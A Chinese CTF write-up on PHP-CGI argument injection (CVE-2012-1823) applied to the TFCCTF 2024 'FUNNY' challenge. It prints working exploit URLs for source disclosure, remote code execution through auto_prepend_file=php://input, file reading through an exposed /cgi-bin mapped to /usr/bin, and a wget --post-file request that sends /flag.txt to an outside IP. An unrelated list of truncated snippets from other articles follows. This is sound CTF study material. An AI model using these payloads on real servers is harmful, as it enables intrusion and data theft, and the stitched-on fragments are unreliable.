当前位置: 首页 > news >正文

【Web】从TFCCTF-FUNNY浅析PHPCGI命令行注入漏洞利用

目录

背景 CVE-2012-1823

发散利用

法一:读文件

法二:数据外带 


背景 CVE-2012-1823

PHP-CGI远程代码执行漏洞(CVE-2012-1823)分析 | 离别歌

省流:

命令行参数不光可以通过#!/usr/local/bin/php-cgi -d include_path=/path的方式传入php-cgi,更可以通过querystring的方式传入

简单复现:

vulhub的环境

/index.php?-s

查看源码

文件包含RCE

/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

  

发散利用

以TFCCTF 2024的FUNNY这题为例

附件中有这样一段配置

 

  1. ScriptAlias /cgi-bin /usr/bin:

    • ScriptAlias指令将URL路径 /cgi-bin 映射到服务器上的实际文件路径 /usr/bin
    • 当访问 http://yourdomain/cgi-bin 时,服务器实际上会访问 /usr/bin 目录中的文件。
  2. Action php-script /cgi-bin/php-cgi:

    • Action指令将某个处理程序与特定类型的文件关联起来。在这里,将自定义的 php-script 处理程序与路径 /cgi-bin/php-cgi 关联。
    • 也就是说,当一个文件被指定为 php-script 类型时,服务器会将其传递给 /cgi-bin/php-cgi 进行处理。
  3. AddHandler php-script .php:

    • AddHandler指令将文件扩展名 .php 与前面定义的 php-script 处理程序关联。
    • 这意味着服务器会将所有扩展名为 .php 的文件当作 php-script 类型文件,并用 /cgi-bin/php-cgi 处理它们。
  4. <Directory /usr/bin>:

    • 该指令块定义了对于 /usr/bin 目录的访问控制规则。
    • Order allow,deny:这行定义了访问控制的顺序,首先 allow(允许)访问,然后 deny(拒绝)。这意味着所有未明确允许的请求将被拒绝。
    • Allow from all:这行允许所有来源的访问。

总的来说,这段配置定义了一个CGI环境,其中所有的 .php 文件会通过位于 /usr/bin 目录中的 php-cgi 脚本进行处理,并允许所有用户访问 /usr/bin 目录。

 扫目录

 

直接将/cgi-bin暴露在web目录中,由于配置文件将/cgi-bin映射到靶机的/usr/bin,这意味着我们可以访问/usr/bin下的所有命令

法一:读文件

类比背景部分的传参:/index.php?-d allow_url_include=on -d auto_prepend_file=php://input

会被执行为

#!/usr/local/bin/php-cgi -d allow_url_include=on -d auto_prepend_file=php://input

这题如果我们访问/cgi-bin/cat?/flag.txt,靶机执行的就是

#!/usr/bin/cat /flag.txt

 但操作后回显404,这意味着靶机/usr/bin下没有cat命令

尝试用nl读文件结果报500,这说明成功执行了/usr/bin/nl命令,但未成功回显

/cgi-bin/nl?/flag.txt 

似乎不能读文件了

但其实可以 

pr 命令是一个 Unix 和 Linux 系统中的命令,用于将文本文件格式化为页码化的输出,通常用于打印。pr 命令可以对文本进行分页、添加页眉、页脚、调整列数等,以便于打印或查看。

 payload:

/cgi-bin/pr?/flag.txt

解释一下为什么用pr,是因为只有pr的输出第一行有换行,才能输出,其他的能执行但不能输出

响应包的格式,不换行不能显示在body,而是在header,但数据又不符合http头的格式,会报500

法二:数据外带 

curl回显404

用wget外带数据

哈?命令注入外带数据的姿势还可以这么骚?-腾讯云开发者社区-腾讯云

目标执行#!/usr/bin/wget http://124.222.136.33:1337 ­d --post-file=/flag.txt

payload:

/cgi-bin/wget?http://124.222.136.33:1337+--post-file%3d/flag.txt

成功接收到文件

相关文章:

【Web】从TFCCTF-FUNNY浅析PHPCGI命令行注入漏洞利用

目录 背景 CVE-2012-1823 发散利用 法一&#xff1a;读文件 法二&#xff1a;数据外带 背景 CVE-2012-1823 PHP-CGI远程代码执行漏洞&#xff08;CVE-2012-1823&#xff09;分析 | 离别歌 省流&#xff1a; 命令行参数不光可以通过#!/usr/local/bin/php-cgi -d include…...

对比一下在 OpenCV 和 AE 中如何实现常用效果 [精]

确实&#xff0c;Adobe After Effects (AE) 也是一个功能强大的工具&#xff0c;特别擅长处理图像和视频的视觉效果和动画。很多在 OpenCV 中实现的图像处理和增强效果&#xff0c;AE 也可以轻松完成&#xff0c;甚至以更加直观的方式实现。下面对比一下在 OpenCV 和 AE 中如何…...

docker安装及使用

一、docker优点及作用 优点&#xff1a; 基础镜像MB级别创建简单隔离性强启动速度秒级移植与分享放便 作用&#xff1a;资源隔离 cpu、memory资源隔离与限制访问设备隔离与限制网络隔离与限制用户、用户组隔离限制 二、docker安装 2.1.配置yum源 yum install -y yum-uti…...

HTML前端面试基础(一)

HTML面试题可以涵盖多个方面&#xff0c;包括HTML基础、HTML5新特性、标签语义化、元素分类、属性理解等。以下是一些常见的HTML面试题及其简要答案&#xff1a; 1. HTML基础 问题&#xff1a; 请解释一下HTML文档的基本结构。 答案&#xff1a; HTML文档的基本结构包括<…...

[Git][多人协作][下]详细讲解

目录 1.不同分支下多人协作2.远程分⽀删除后&#xff0c;本地git branch -a依然能看到 1.不同分支下多人协作 ⼀般情况下&#xff0c;如果有多需求需要多⼈同时进⾏开发&#xff0c;是不会在⼀个分⽀上进⾏多⼈开发&#xff0c;⽽是⼀个需求或⼀个功能点就要创建⼀个feature分…...

MySQL笔记(七):索引

一、索引优化速度 创建对应字段的索引&#xff0c;只对该列有效&#xff0c;只能提高该列的查询速度 创建索引后&#xff0c;查询速度变快&#xff0c;但是表占用空间变大 create index 索引名 on 表名(需要创建索引的列)二、索引的原理 普通索引允许该字段重复 全文索引&#…...

JS 原型和原型链

构造函数 封装是面向对象思想中比较重要的一部分&#xff0c;js 面向对象可以通过构造函数实现的封装。 同样的将变量和函数组合到了一起并能通过 this 实现数据的共享&#xff0c;所不同的是 JS 借助构造函数创建出来的实例对象之间是彼此不影响的 存在浪费内存的问题&#…...

【无标题】图像增强技术:直方图均衡化、拉普拉斯算子、对数变换与伽马变换

图像增强技术&#xff1a;直方图均衡化、拉普拉斯算子、对数变换与伽马变换 在图像处理领域&#xff0c;图像增强是一种关键技术&#xff0c;用于提升图像的视觉效果和质量。本文将介绍四种常用的图像增强方法&#xff1a;直方图均衡化、拉普拉斯算子、对数变换和伽马变换。我…...

自动化专业英语

前言 电子信息、电气工程、自动化专业英语词汇汇总&#xff0c;不定期更新 常用 Asynchronous&#xff1a;异步synchronous&#xff1a;同步notification&#xff1a;通知blade&#xff1a;平面shaft&#xff1a;轴magnetic&#xff1a;磁场的bearing&#xff1a;轴承valve&…...

如何使用 Python 进行数据可视化,比如绘制折线图?

要使用Python进行数据可视化&#xff0c;可以使用matplotlib库来绘制折线图。以下是一个简单的示例代码&#xff1a; 首先&#xff0c;确保已安装matplotlib库。可以使用以下命令安装&#xff1a; pip install matplotlib在Python脚本中导入matplotlib库&#xff1a; import…...

PostgreSQL数据库的事务ID和事务机制

PostgreSQL后续简称PG。PG只读事务不会分配事务ID。为了在共享锁等情况下对事务进行标识&#xff0c;需要一种非持久化的事务ID&#xff0c;即虚拟事务ID&#xff0c;vxid。虚拟事务ID不需要把事务ID持久化到磁盘。因为事务ID是很宝贵的资源&#xff0c;简单的select语句不会申…...

LeetCode 热题 HOT 100 (020/100)【宇宙最简单版】[创作中]

【链表】No. 0142 环形链表 II【中等】&#x1f449;力扣对应题目指路 希望对你有帮助呀&#xff01;&#xff01;&#x1f49c;&#x1f49c; 如有更好理解的思路&#xff0c;欢迎大家留言补充 ~ 一起加油叭 &#x1f4a6; 欢迎关注、订阅专栏 【力扣详解】谢谢你的支持&#…...

XML动态sql查询当前时间之前的信息报错

如图&#xff0c;sql语句在数据库里可以正常运行但是再XML文件不可以正常运行&#xff0c;报错。 原因&#xff1a;在XML中小于号"<"是会被默认认定成文一个标签的开始&#xff0c;所以用小于号就会报错。 解决办法&#xff1a; 1.把表达式反过来改成大于号 2…...

EMQX服务器安装MQTT测试

cd /usr/local/develop wget https://www.emqx.com/en/downloads/broker/5.7.1/emqx-5.7.1-el7-amd64.tar.gz mkdir -p emqx && tar -zxvf emqx-5.7.1-el7-amd64.tar.gz -C emqx ./emqx/bin/emqx start 重启 ./emqx/bin/emqx restart http://10.8.0.1:18083/ 账号ad…...

3. 无重复字符的最长子串(滑动窗口)

目录 &#xff1a;题目&#xff1a; 二&#xff1a;代码&#xff1a; 三&#xff1a;结果&#xff1a; 一&#xff1a;题目&#xff1a; 给定一个字符串 s &#xff0c;请你找出其中不含有重复字符的 最长 子串 的长度。 二&#xff1a;代码&#xff1a; class Solution { …...

用javaagent和javassist实现Arthas的watch功能

一、被监控的服务 spring-boot-demo 1、 pom.xml <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0"xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation&q…...

golang 图片转1bit color bmp图片

问题背景 一些打印机需要的都是1bit color bmp图片,但是golang中没有直接的办法,官方image库最低bpp为8,打印机无法使用。 在github上找到了很多资源,都没有直接能转的,突然看到一个老外,可以支持plattered图片转位1bit color bmp图片,然后自己先把图片转位plattered黑…...

Leetcode75-5 反转字符串的元音字母

本质上来说就是反转字符串 一部分需要反转 一部分不动 思路: 1.用String字符串倒序拼接 就是过滤掉不是元音字符 然后把所有的字符&#xff08;非元音的直接复制过来 元音字母直接从反转的字符串里边复制即可&#xff09; 2.看了题解发现自己写的啰嗦了 就是一个双指针问题用…...

static关键字在Java中的作用与用法

static关键字在Java中的作用与用法 大家好&#xff0c;我是微赚淘客系统3.0的小编&#xff0c;是个冬天不穿秋裤&#xff0c;天冷也要风度的程序猿&#xff01; 在Java中&#xff0c;static关键字是一个非常重要的概念&#xff0c;用于定义静态成员、方法和内部类。它的使用可…...

50etf期权行权采用什么交割方式 ?

50ETF期权是欧式期&#xff0c;要到期日当天才能行权交制&#xff0c;其交割方式是实物交割买卖双方在到期行权日时需要准备一手交钱&#xff0c;一手收货或是一手交&#xff0c;一手收钱&#xff0c;如果持有期权到达到期日之前&#xff0c;投资者认为行权并不划算&#xff0c…...

WPF新手村教程(七)—— 终章(MVVM架构初见杀)姑

1. 哑铃图是什么&#xff1f; 哑铃图&#xff08;Dumbbell Plot&#xff09;&#xff0c;有时也称为DNA图或杠铃图&#xff0c;是一种用于比较两个相关数据点的可视化图表。 它源于人们对更有效数据比较方式的持续探索。 在传统的时间序列比较中&#xff0c;我们通常使用两条折…...

HunyuanVideo-Foley部署教程:RTX4090D专属优化版开箱即用完整指南

HunyuanVideo-Foley部署教程&#xff1a;RTX4090D专属优化版开箱即用完整指南 1. 环境准备与快速部署 HunyuanVideo-Foley是一款强大的视频生成与音效生成工具&#xff0c;本教程将指导您在RTX 4090D显卡上快速部署优化版镜像。这个专为24GB显存优化的版本&#xff0c;让您无…...

英伟达 Blackwell Ultra 正式量产:20 PFLOPS 单机柜算力

前言4月7日&#xff0c;英伟达正式宣布 Blackwell Ultra&#xff08;GB300&#xff09;量产出货。这条消息在技术圈炸开的速度&#xff0c;比很多人预期的快。简单说数字&#xff1a;单机柜 FP8 算力 20 PFLOPS&#xff0c;比 H100 提升约 8 倍&#xff0c;能效比提升 5 倍。这…...

终极防休眠指南:Move Mouse免费工具完整使用教程

终极防休眠指南&#xff1a;Move Mouse免费工具完整使用教程 【免费下载链接】movemouse Move Mouse is a simple piece of software that is designed to simulate user activity. 项目地址: https://gitcode.com/gh_mirrors/mo/movemouse 你是否经常遇到这样的困扰&am…...

峰值电流控制模式在开关电源中的动态响应优化策略

1. 峰值电流控制模式的核心原理 我第一次接触峰值电流控制模式是在设计一款手机充电器时。当时被它独特的双环控制结构吸引——就像汽车同时配备油门踏板和定速巡航&#xff0c;既能快速响应路况变化&#xff0c;又能保持稳定车速。这种模式通过实时监测电感电流的峰值来动态调…...

如何提高邮件营销的投资回报率

在与大量客户的长期沟通中&#xff0c;我发现一个非常有趣的现象&#xff0c;即大家对邮件营销的投资回报率出现了两极分化的评价&#xff1a;一部分企业认为邮件营销的效果非常一般&#xff0c;发着发着就不发了&#xff1b;而另一部分企业认为&#xff0c;邮件营销的投资回报…...

基于springboot林业资源管理系统设计与实现_2595688s_c014

前言 随着全球生态环境保护意识的增强&#xff0c;林业资源管理作为生态保护与可持续发展的重要环节&#xff0c;其信息化、智能化水平直接影响管理效率与决策科学性。传统林业管理依赖人工巡查、纸质记录&#xff0c;存在数据更新滞后、信息孤岛、资源监管困难等问题。基于Spr…...

react-native-fetch-blob完整教程:从零开始掌握文件上传下载

react-native-fetch-blob完整教程&#xff1a;从零开始掌握文件上传下载 【免费下载链接】react-native-fetch-blob A project committed to making file access and data transfer easier, efficient for React Native developers. 项目地址: https://gitcode.com/gh_mirror…...

【农业物联网PHP可视化实战指南】:20年专家亲授5大高并发数据看板搭建秘技,错过再等三年

第一章&#xff1a;农业物联网PHP可视化实战导论 农业物联网正加速推动传统农耕向数据驱动、智能决策的现代化模式演进。在田间部署的温湿度传感器、土壤EC/pH探头、光照强度模块等设备&#xff0c;通过LoRa或Wi-Fi将实时数据上传至边缘网关或云平台&#xff1b;而PHP凭借其轻量…...

OpenStego:专业隐写术工具实现安全数据隐藏与版权保护

OpenStego&#xff1a;专业隐写术工具实现安全数据隐藏与版权保护 【免费下载链接】openstego OpenStego is a steganography application that provides two functionalities: a) Data Hiding: It can hide any data within an image file. b) Watermarking: Watermarking ima…...